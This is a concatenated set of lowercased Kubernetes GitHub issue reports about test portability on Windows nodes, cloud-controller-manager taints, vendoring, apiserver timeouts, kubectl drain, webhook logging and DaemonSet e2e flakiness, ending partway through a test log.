<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r some commands used in tests are linux specific and do not exist or do not behave the same on windows nodes. this can cause those tests to fail on windows nodes.\r \r some of the tests are:\r \r      sig-network  networking granular checks: pods should function for node-pod communication: http  nodeconformance \r      sig-network  networking granular checks: pods should function for node-pod communication: udp  nodeconformance \r      sig-network  networking granular checks: services  slow  should function for node-service: http\r      sig-network  networking granular checks: services  slow  should function for node-service: udp\r      sig-network  networking granular checks: services  slow  should update nodeport: http  slow \r      sig-network  networking granular checks: services  slow  should update nodeport: udp  slow \r      sig-network  networkpolicy networkpolicy between server and client should support a 'default-deny' policy  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should enforce policy based on podselector  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should enforce policy based on namespaceselector  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should enforce policy based on ports  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should enforce multiple, stacked policies with overlapping podselectors  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should support allow-all policy  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should allow ingress access on one named port  feature:networkpolicy \r      sig-network  networkpolicy networkpolicy between server and client should allow egress access on one named port  feature:networkpolicy \r \r   what you expected to happen  :\r \r the commands used by those tests should be platform agnostic, so they can pass using windows nodes as well.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the mentioned tests using windows nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-rc.2\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server 1803 compute nodes\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i created a gcp cluster with a separate binary for the ccm. on the kubelet i specified  --cloud-provider=external , and did not specify the  --cloud-proivder  flag on the api or kube-controler-manager. on the ccm i specified  --configure-cloud-routes=false  since i am running calico, and i do not want to use gcp routes. \r \r the cluster came up, and was initialed from the ccm, removing the  uninitialized  flag. each node then had the condition  noroutecreated  added them, which then added the  network-uninitialized  taint. \r \r   what you expected to happen  :\r \r i would expect that if the route controller is not running to not have this condition or taint set, if the cluster is operational. i believe the bug was introduced when this was added https://github.com/kubernetes/kubernetes/blob/521028ed52526abd832f8a6c9c5ec62340fccbb2/pkg/controller/cloud/node_controller.go l342\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a cluster on gcp using kubeadm, and set the kubelet flag  --cloud-provider=external  . then launch the ccm as a separate ds. the following is the things that where changed, i used the default rbac policies from the documentation. \r \r    \r {\r     apiversion: 'v1',\r     data: {\r         'cloud-config':   global \ node-tags = ${node-tag}\ multizone = true\ subnetwork-name = ${subnetwork_name}\t\  \r     },\r     kind: 'configmap',\r     metadata: {\r         name: 'cloud-config',\r         namespace: 'kube-system'\r     }\r }\r    \r \r    \r {\r     apiversion: 'apps/v1',\r     kind: 'daemonset',\r     metadata: {\r         labels: {\r             'k8s-app': 'cloud-controller-manager'\r         },\r         name: 'cloud-controller-manager',\r         namespace: 'kube-system'\r     },\r     spec: {\r         selector: {\r             matchlabels: {\r                 'k8s-app': 'cloud-controller-manager'\r             }\r         },\r         template: {\r             metadata: {\r                 labels: {\r                     'k8s-app': 'cloud-controller-manager'\r                 }\r             },\r             spec: {\r                 containers:  \r                     {\r                         command:  \r                             '/usr/local/bin/cloud-controller-manager',\r                             '--cloud-provider=gce',\r                             '--leader-elect=true',\r                             '--use-service-account-credentials',\r                             '--cloud-config=/etc/kubernetes/cloud-config',\r                             '--allocate-node-cidrs=true',\r                             '--cluster-cidr=192.168.0.0/16',  // assuming you are using calico default \r                             '--configure-cloud-routes=false'\r                          ,\r                         image:  k8s.gcr.io/cloud-controller-manager:v1.12.1 ,\r                         name: 'cloud-controller-manager',\r                         volumemounts:  \r                             {\r                                 mountpath: '/etc/kubernetes',\r                                 name: 'cloud-config'\r                             },\r                             {\r                                 mountpath: '/etc/ssl/certs',\r                                 name: 'ca-certificates'\r                             }\r                          \r                     }\r                  ,\r                 serviceaccountname: 'cloud-controller-manager',\r                 tolerations:  \r                     {\r                         effect: 'noschedule',\r                         key: 'node.cloudprovider.kubernetes.io/uninitialized',\r                         value: 'true'\r                     },\r                     {\r                         key: 'node-role.kubernetes.io/master'\r                     }\r                  ,\r                 volumes:  \r                     {\r                         configmap: {\r                             name: 'cloud-config'\r                         },\r                         name: 'cloud-config'\r                     },\r                     {\r                         hostpath: {\r                             path: '/etc/ssl/certs'\r                         },\r                         name: 'ca-certificates'\r                     }\r                  \r             }\r         }\r     }\r }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.12.1:\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu 16\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i was following the instruction in https://github.com/kubernetes/community/blob/master/contributors/devel/godep.md updating-a-dep to update a dependency  golang.org/x/net dependency,  70663  and it deleted a vendor file, vendor/github.com/azure/azure-sdk-for-go/services/compute/mgmt/2018-04-01/compute/build, which is completely unrelated to golang.org/x/net. i think it might be related to a recently merged pr  66648 that \ update azure go sdk\ .\r \r here is the observation i got, as reference:\r \r > $ git status\r > on branch gonet110\r > changes not staged for commit:\r >    use \ git add/rm <file>...\  to update what will be committed \r >    use \ git checkout -- <file>...\  to discard changes in working directory \r > \r > \tmodified:   godeps/godeps.json\r > \tmodified:   vendor/build\r > \tdeleted:    vendor/github.com/azure/azure-sdk-for-go/services/compute/mgmt/2018-04-01/compute/build\r > \tmodified:   vendor/golang.org/x/net/context/context.go\r > \tmodified:   vendor/golang.org/x/net/html/atom/gen.go\r > \tmodified:   vendor/golang.org/x/net/html/atom/table.go\r > \tmodified:   vendor/golang.org/x/net/html/const.go\r > \tmodified:   vendor/golang.org/x/net/html/doc.go\r > \tmodified:   vendor/golang.org/x/net/html/token.go\r > \tmodified:   vendor/golang.org/x/net/http2/ciphers.go\r > \tmodified:   vendor/golang.org/x/net/http2/configure_transport.go\r > \tmodified:   vendor/golang.org/x/net/http2/server.go\r > \tmodified:   vendor/golang.org/x/net/http2/transport.go\r > \tmodified:   vendor/golang.org/x/net/http2/write.go\r > \tmodified:   vendor/golang.org/x/net/idna/build\r > \tmodified:   vendor/golang.org/x/net/idna/idna.go\r > \tmodified:   vendor/golang.org/x/net/idna/tables.go\r > \tmodified:   vendor/golang.org/x/net/idna/trieval.go\r > \tmodified:   vendor/golang.org/x/net/proxy/per_host.go\r > \tmodified:   vendor/golang.org/x/net/proxy/socks5.go\r > \r among the change, this one in particular is not expected:\r > \tmodified:   vendor/build\r > \tdeleted:    vendor/github.com/azure/azure-sdk-for-go/services/compute/mgmt/2018-04-01/compute/build\r \r in vendor/build:\r > $ git diff vendor/build\r > diff --git a/vendor/build b/vendor/build\r > index 5d89686d80..0c853bc8a8 100644\r > --- a/vendor/build\r > +++ b/vendor/build\r > @@ -15,7 +15,6 @@ filegroup \r >          \ //vendor/bitbucket.org/ww/goautoneg:all-srcs\ ,\r >          \ //vendor/cloud.google.com/go/compute/metadata:all-srcs\ ,\r >          \ //vendor/cloud.google.com/go/internal:all-srcs\ ,\r > -        \ //vendor/github.com/azure/azure-sdk-for-go/services/compute/mgmt/2018-04-01/compute:all-srcs\ ,\r >          \ //vendor/github.com/azure/azure-sdk-for-go/services/compute/mgmt/2018-10-01/compute:all-srcs\ ,\r >          \ //vendor/github.com/azure/azure-sdk-for-go/services/containerregistry/mgmt/2017-10-01/containerregistry:all-srcs\ ,\r >          \ //vendor/github.com/azure/azure-sdk-for-go/services/network/mgmt/2017-09-01/network:all-srcs\ ,\r > \r \r   what you expected to happen  :\r is this the expected behavior that i am supposed to manually remove the unexpected change? \r \r   how to reproduce it  as minimally and precisely as possible   :\r on master head,\r    \r hack/run-in-gopath.sh hack/godep-restore.sh -v\r \r hack/run-in-gopath.sh bash -c 'rm -rf $gopath/src/golang.org/x/net'\r hack/run-in-gopath.sh go get -d golang.org/x/net/http2\r hack/run-in-gopath.sh bash -c 'git -c $gopath/src/golang.org/x/net/http2 checkout release-branch.go1.10'\r \r hack/run-in-gopath.sh hack/godep-save.sh\r \r ./hack/update-staging-godeps.sh\r \r commit\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.2.110+5e45a103519dd0-dirty\ , gitcommit:\ 5e45a103519dd06897d7171eb09ec534d419fb38\ , gittreestate:\ dirty\ , builddate:\ 2018-10-26t22:32:07z\ , goversion:\ go1.11.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : debian gnu/linux\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r kube-apiserver kept rebooting when i set up a new cluster.\r \r   what you expected to happen  :\r the fatal log:\r feb 28 22:49:48  kube-apiserver: f0228 22:49:48.523563    9384 hooks.go:188  poststarthook \ scheduling/bootstrap-system-priority-classes\  failed: unable to add default system  the server was unable to return a response in the time allotted, but may still be processing the request  get priorityclasses.scheduling.k8s.io system-node-critical \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r more log:\r \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.539904    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ http: handler timeout\ }feb 28 22:49:47  kube-apiserver: e0228 22:49:47.540060    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.540323    9384 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  core.namespace: the server was unable to return a response in the time allotted, but may still be processing the request  get namespaces \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.540821    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: i0228 22:49:47.541196    9384 trace.go:76  trace 130408725 : \ list /api/v1/namespaces\   started: 2019-02-28 22:48:47.538451932 +0800 cst m=+29.798105233   total time: 1m0.002685474s :\r feb 28 22:49:47  kube-apiserver: trace 130408725 :  1m0.002685474s   1m0.002592975s  end\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.541333    9384 reflector.go:205  k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:130: failed to list  v1beta1.validatingwebhookconfiguration: the server was unable to return a response in the time allotted, but may still be processing the request  get validatingwebhookconfigurations.admissionregistration.k8s.io \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.542263    9384 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.543404    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ http: handler timeout\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.546173    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.546374    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.546681    9384 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.546811    9384 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  core.pod: the server was unable to return a response in the time allotted, but may still be processing the request  get pods \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.546846    9384 reflector.go:205  k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/client/informers/internalversion/factory.go:117: failed to list  apiextensions.customresourcedefinition: the server was unable to return a response in the time allotted, but may still be processing the request  get customresourcedefinitions.apiextensions.k8s.io \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.548887    9384 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.549801    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.549895    9384 status.go:64  apiserver received an error that is not an metav1.status: &errors.errorstring{s:\ context canceled\ }\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.550223    9384 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  core.secret: the server was unable to return a response in the time allotted, but may still be processing the request  get secrets \r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.550542    9384 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129: failed to list  core.limitrange: the server was unable to return a response in the time allotted, but may still be processing the request  get limitranges \r feb 28 22:49:47  kube-apiserver: i0228 22:49:47.551228    9384 trace.go:76  trace 999017112 : \ list /api/v1/serviceaccounts\   started: 2019-02-28 22:48:47.539624267 +0800 cst m=+29.799277595   total time: 1m0.011563767s :\r feb 28 22:49:47  kube-apiserver: trace 999017112 :  1m0.011563767s   1m0.011477601s  end\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.552363    9384 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r feb 28 22:49:47  kube-apiserver: e0228 22:49:47.555084    9384 writers.go:149  apiserver was unable to write a json response: http: handler timeout\r \r arg:\r kube_api_args=\  --request-timeout 1m --authorization-mode=node,rbac  --runtime-config=rbac.authorization.k8s.io/v1beta1  --kubelet-https=true  --token-auth-file=/etc/kubernetes/token.csv  --service-node-port-range=30000-32767  --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem  --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem  --client-ca-file=/etc/kubernetes/ssl/ca.pem  --service-account-key-file=/etc/kubernetes/ssl/ca.pem  --storage-backend=etcd3  --etcd-cafile=/etc/etcd/ssl/ca.pem  --etcd-certfile=/etc/etcd/ssl/etcd.pem  --etcd-keyfile=/etc/etcd/ssl/etcd-key.pem  --enable-swagger-ui=true  --audit-log-maxage=30  --audit-log-maxbackup=3  --audit-log-maxsize=100  --audit-log-path=/var/log/k8s-audit.log  --event-ttl=1h\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r 8core 8g\r - os  e.g:  cat /etc/os-release  :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux  3.10.0-229.el7.x86_64  1 smp fri mar 6 11:36:42 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

seeing as the 1.0 milestone was reached ~3 months ago, the following needs updating...       elimination of resources or fields will require following a deprecation process. the precise deprecation policy for eliminating features is tbd, but once we reach our 1.0 milestone, there will be a specific policy.      https://github.com/kubernetes/kubernetes/blob/master/docs/api.md

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:29:08z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:19:19z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : the one created by  kube-up.sh  -   kernel    e.g.  uname -a  : the one used by  kube-up.sh  -   install tools  : kube-up.sh -   others  :    what happened  :      kubectl  --kubeconfig=infra/dev/kubeconfig drain --ignore-daemonsets --force --delete-local-data --grace-period=120 ip-172-20-0-123.ec2.internal  node \ ip-172-20-0-123.ec2.internal\  already cordoned error: replicationcontrollers \ memcached\  not found: memcached-4n9cy, memcached-4n9cy      it would seem that  memcached-4n9cy  is an orphan pod from a replication controller that doesn't exist anymore.       $ ./kubectl  --kubeconfig=infra/dev/kubeconfig describe pod memcached-4n9cy | grep controllers controllers:    replicationcontroller/memcached      we moved to replicasets and don't have any replicationcontrollers left:      $ ./kubectl  --kubeconfig=infra/dev/kubeconfig get --all-namespaces rc  namespace     name                             desired   current   age kube-system   kube-dns-v17                     1         1         41d kube-system   kubernetes-dashboard-v1.1.0      1         1         41d kube-system   monitoring-influxdb-grafana-v3   1         1         41d        what you expected to happen  :  providing  --force  should allow you to drain the pods even if they are orphans from a replication controller.  i had to manually remove the pod before running  kubectl drain  again to make it work.    how to reproduce it    as minimally and precisely as possible :  i am not sure how the pods ended up being orphaned but i guess that getting an orphaned pod from a replication controller should make it easy to reproduce.    anything else do we need to know  :

while working on a webhook auth server, i've found that the  kube-apiserver  logs don't include useful info when the api server fails to parse the response from the auth server.  for example, the following response looks okay  the problem was the missing content-type header , but then returns a 403 to the client with no explanation.  this was captured with  --v=8 :      i0927 01:59:54.425034       1 round_trippers.go:296  post https://127.0.0.1:4000/ i0927 01:59:54.425043       1 round_trippers.go:303  request headers: i0927 01:59:54.425048       1 round_trippers.go:306      accept: application/json,  /  i0927 01:59:54.425053       1 round_trippers.go:306      content-type: application/json i0927 01:59:54.439002       1 round_trippers.go:321  response status: 200 ok  in 13 milliseconds i0927 01:59:54.439020       1 round_trippers.go:324  response headers: i0927 01:59:54.439026       1 round_trippers.go:327      server: webrick/1.3.1  ruby/2.3.1/2016-04-26  openssl/1.0.2h i0927 01:59:54.439031       1 round_trippers.go:327      date: tue, 27 sep 2016 01:59:54 gmt i0927 01:59:54.439036       1 round_trippers.go:327      content-length: 211 i0927 01:59:54.439040       1 round_trippers.go:327      connection: keep-alive i0927 01:59:54.477173       1 request.go:891  response body: {\ kind\ :\ subjectaccessreview\ ,\ apiversion\ :\ authorization.k8s.io/v1beta1\ ,\ spec\ :{\ nonresourceattributes\ :{\ path\ :\ /api\ ,\ verb\ :\ get\ },\ user\ :\ kevin.burk@k8sdev\ },\ status\ :{\ allowed\ :true,\ reason\ :\ allow all.\ }} i0927 01:59:54.477443       1 handlers.go:165  get /api:  53.098111ms  403   kubectl/v1.3.0+2831379  darwin/amd64  kubernetes/2831379  10.52.9.58:51513  i0927 01:59:54.500444       1 request.go:558  request body: {\ kind\ :\ subjectaccessreview\ ,\ apiversion\ :\ authorization.k8s.io/v1beta1\ ,\ spec\ :{\ nonresourceattributes\ :{\ path\ :\ /apis\ ,\ verb\ :\ get\ },\ user\ :\ kevin.burk@k8sdev\ },\ status\ :{\ allowed\ :false}}      better logs would be very nice to have!  my best guess is that it's happening  here  https://github.com/kubernetes/kubernetes/blob/5f9447a91a8ed9286026d9c112aee541167603c3/plugin/pkg/auth/authorizer/webhook/webhook.go l178 , but i'm not familiar enough with the codebase to say for sure.  and my system info  osx local; coreos server :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0+2831379\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ not a git tree\ , builddate:\ 2016-07-05t15:40:13z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+coreos.1\ , gitcommit:\ 4fc64a21f8a593d97b75296acd1e979391518b28\ , gittreestate:\ clean\ , builddate:\ 2016-08-22t17:15:28z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }

is this a request for help?    no    what keywords did you search in kubernetes issues before filing this one?    set selector    is this a bug report or feature request?    choose one :  small feature request:  when adding \ kubectl set selector\  i was asked to start simply by only adding support for services. once we understand the usecase better we should support for the other object types.  see: https://github.com/kubernetes/kubernetes/pull/28949 pullrequestreview-4444544

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:34:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws ec2\r -   os    e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1235.5.0\r version_id=1235.5.0\r build_id=2017-01-08-0037\r pretty_name=\ container linux by coreos 1235.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :\r    \r linux ip-10-72-33-70.us-west-2.compute.internal 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r    \r -   install tools  :\r -   others  :\r \r \r   what happened  : \r 1. start kubelet\r 2. run a pod with mounted volume\r \r \r   what you expected to happen  : \r pod mounted volume is reported via  https://node:10250/metrics \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r restarting  kubelet  fixes this issue. \r possibly could be related to: https://github.com/prometheus/node_exporter/issues/474\r \r

seen this fairly frequently on 1.7 1 node clusters when running e2e tests.  \r \r this code snippet:\r \r    \r \t\tby \ check that daemon pods images are updated.\  \r \t\terr = wait.pollimmediate dsretryperiod, dsretrytimeout, checkdaemonpodsimageandavailability c, ds, redisimage, 1  \r \t\texpect err .notto haveoccurred   \r    \r \r isn't safe on a 1 node cluster, because  checkdaemonpodsimageandavailability  can exit while there are 0 pods available, leading to the next line\r \r    \r \t\terr = checkdaemonpodstemplategeneration c, ns, label, fmt.sprint templategeneration  \r    \r \r failing because  listdaemonpods  will error if zero pods are listed.\r \r    \r /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/daemon_set.go:358\r expected\r     <int>: 0\r to be >\r     <int>: 0\r /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/daemon_set.go:554\r standard output\r \r  beforeeach   top level \r   /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/test/extended/util/test.go:52\r  beforeeach   k8s.io  daemon set  serial \r   /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/framework/framework.go:130\r step: creating a kubernetes client\r aug 13 22:52:18.277: info: >>> kubeconfig: /etc/origin/master/admin.kubeconfig\r step: building a namespace api object\r aug 13 22:52:18.347: info: about to run a kube e2e test, ensuring namespace is privileged\r step: waiting for a default service account to be provisioned in namespace\r  beforeeach   k8s.io  daemon set  serial \r   /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/daemon_set.go:111\r  it  should update pod when spec was updated and update strategy is rollingupdate\r   /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/daemon_set.go:358\r aug 13 22:52:18.398: info: creating simple daemon set daemon-set with templategeneration 999\r step: check that daemon pods launch on every node of the cluster.\r aug 13 22:52:18.405: info: number of nodes with available pods: 0\r aug 13 22:52:18.405: info: node ip-172-18-10-2.ec2.internal is running more than one daemon pod\r aug 13 22:52:19.409: info: number of nodes with available pods: 0\r aug 13 22:52:19.410: info: node ip-172-18-10-2.ec2.internal is running more than one daemon pod\r aug 13 22:52:20.413: info: number of nodes with available pods: 0\r aug 13 22:52:20.413: info: node ip-172-18-10-2.ec2.internal is running more than one daemon pod\r aug 13 22:52:21.409: info: number of nodes with available pods: 1\r aug 13 22:52:21.409: info: number of running nodes: 1, number of available pods: 1\r step: make sure all daemon pods have correct template generation 999\r step: update daemon pods image.\r step: check that daemon pods images are updated.\r aug 13 22:52:21.426: info: wrong image for pod: daemon-set-fhrv3. expected: gcr.io/k8s-testimages/redis:e2e, got: gcr.io/google_containers/serve_hostname:v1.4.\r aug 13 22:52:22.430: info: wrong image for pod: daemon-set-fhrv3. expected: gcr.io/k8s-testimages/redis:e2e, got: gcr.io/google_containers/serve_hostname:v1.4.\r aug 13 22:52:23.429: info: wrong image for pod: daemon-set-fhrv3. expected: gcr.io/k8s-testimages/redis:e2e, got: gcr.io/google_containers/serve_hostname:v1.4.\r aug 13 22:52:23.429: info: pod daemon-set-fhrv3 is not available\r step: make sure all daemon pods have correct template generation 1000\r  aftereach   k8s.io  daemon set  serial \r   /go/src/github.com/openshift/origin/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/test/e2e/daemon_set.go:95\r step: deleting daemonset \ daemon-set\  with reaper\r aug 13 22:52:25.461: info: number of nodes with available pods: 0\r aug 13 22:52:25.461: info: number of running nodes: 0, number of available pods: 0\r aug 13 22:52:25.463: info: daemonset: {\ kind\ :\ daemonsetlist\ ,\ apiversion\ :\ extensions/v1beta1\ ,\ metadata\ :{\ selflink\ :\ /apis/extensions/v1beta1/namespaces/e2e-tests-daemonsets-42k8k/daemonsets\ ,\ resourceversion\ :\ 26990\ },\ items\ :null}\r \r aug 13 22:52:25.467: info: pods: {\ kind\ :\ podlist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/namespaces/e2e-tests-daemonsets-42k8k/pods\ ,\ resourceversion\ :\ 26990\ },\ items\ : {\ metadata\ :{\ name\ :\ daemon-set-56582\ ,\ generatename\ :\ daemon-set-\ ,\ namespace\ :\ e2e-tests-daemonsets-42k8k\ ,\ selflink\ :\ /api/v1/namespaces/e2e-tests-daemonsets-42k8k/pods/daemon-set-56582\ ,\ uid\ :\ 99a96161-809b-11e7-9b8d-0e135d60f09a\ ,\ resourceversion\ :\ 26986\ ,\ creationtimestamp\ :\ 2017-08-14t02:52:24z\ ,\ deletiontimestamp\ :\ 2017-08-14t02:52:54z\ ,\ deletiongraceperiodseconds\ :30,\ labels\ :{\ controller-revision-hash\ :\ 2538072950\ ,\ daemonset-name\ :\ daemon-set\ ,\ pod-template-generation\ :\ 1000\ },\ annotations\ :{\ kubernetes.io/created-by\ :\ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ daemonset\\\ ,\\\ namespace\\\ :\\\ e2e-tests-daemonsets-42k8k\\\ ,\\\ name\\\ 